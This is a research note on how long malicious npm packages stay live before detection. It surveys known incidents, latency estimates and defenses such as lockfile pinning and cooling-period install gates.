How long do malicious npm packages stay live?

How long does a malicious npm package stay live on the registry before someone notices? It's a foundational question for supply-chain risk modeling: the longer the gap, the more installs occur during the exposure window, and the more the attacker accomplishes.

This is a research note synthesizing what's publicly known about detection latency on npm, with caveats about the limits of the available data.

Why the question is hard to answer cleanly

There is no public, comprehensive registry of malicious-npm-package incidents with start and end timestamps. The data points we have come from three sources:

npm's own advisories, which note when a package was pulled but not always when it was first reported.
Security researchers' write-ups, which document specific high-profile incidents in detail.
Aggregated reports from supply-chain security vendors, which often cover a sample selected by the vendor's tooling.

The selection bias matters. Incidents that are caught quickly are reported quickly, contributing to "mean time to detection" estimates that may understate the actual mean for the long tail of unreported attacks. Incidents that are caught only because someone got infected and went public are skewed in the other direction. Treat any "average" with skepticism.

What we can say with confidence

Several patterns appear consistently across documented incidents.

High-profile package compromises are usually caught within a few hours. When ua-parser-js, eslint-scope, coa, or similar widely-installed packages are compromised, automated monitoring (often by maintainers, infrastructure providers, or volunteer researchers) flags the new versions quickly. Detection windows of 1–6 hours are typical.

Lower-profile packages can live longer, sometimes much longer. Malicious packages that target a niche library, or that mimic a less-popular package, may stay live for days or weeks before someone notices. The event-stream / flatmap-stream case had a roughly two-month exposure window before public disclosure.

Conditional payloads extend detection time. Packages whose malicious behavior triggers only in specific environments are systematically harder to detect. A scanner running the package in isolation sees benign code.

Estimates from public sources

Several supply-chain security vendors and independent researchers have published latency numbers for the malicious npm packages in their datasets. Estimates cluster around:

Median time-to-takedown for reported malicious packages on npm: typically several hours to a day.
90th-percentile time-to-takedown: days to a week or more.
Outliers (long-tail packages): months.

These are approximate. The order of magnitude is consistent across sources; the precise numbers vary.

For the practical question — "how much exposure window should I plan for?" — the takeaway is that single-digit hours is the common case, but planning for "the worst-case is a week" is closer to reality than "all attacks are caught within hours."

What drives faster detection

Several factors correlate with faster detection.

Install volume. A package with millions of weekly downloads has more eyes on it. New versions get observed quickly. A package with hundreds of weekly downloads can publish a malicious version that few people install before someone notices.

Active maintenance. Maintained packages with responsive maintainers get reports faster. A maintainer who can verify "I did not publish this version" and trigger a takedown shortens the window.

Behavioral fingerprints. Some attacks (cryptominers, credential harvesters) have characteristic network patterns or system calls that trigger automated detection. Quieter payloads (data-only exfiltration of specific files) can stay hidden longer.

Public attention. A high-profile incident on Hacker News or social media accelerates detection of related attacks for weeks afterward, as researchers actively search for similar patterns.

What this means for defense planning

Detection latency is irreducibly slow in the worst case. The defenses that depend on threat-feed coverage are exposed during the window between publication and detection.

The implication: defenses that operate independently of threat-feed timing are the ones that close this gap.

Lockfile pinning with integrity verification (npm ci) means installs only fetch the versions you previously reviewed. A new malicious version doesn't enter the tree until someone actively updates.
Cooling-period gates refuse to install brand-new versions on the first attempt. The mean time to detection becomes upper-bounded by your cooling window — if your gate holds for two hours, you're never in the first two hours of any malicious version's life.
Community consensus detects mismatches in what users receive, even when the malicious version is only served to a subset.

Each defense is independent of how fast the broader ecosystem catches an attack.

Open questions

What's the mean detection latency for malicious npm packages that are not reported publicly? We don't know. Internal vendor data on this would be useful research output if released with proper anonymization.

How does detection latency vary by attack type (cryptominer, credential stealer, conditional payload, ransomware)? The conditional-payload case is clearly worst, but quantifying the gap would help risk modeling.

How does the introduction of npm provenance change the curve? In theory, attestations make some attacks harder; the empirical effect on detection time is still being measured.

Takeaway

Mean time to detection for malicious npm packages is on the order of hours for high-visibility cases and days-to-weeks for the long tail. Any defense that relies solely on threat-feed coverage is exposed during this window. Defenses that don't depend on detection latency — pinning, cooling, consensus — are the ones that protect you regardless of how fast the rest of the ecosystem reacts.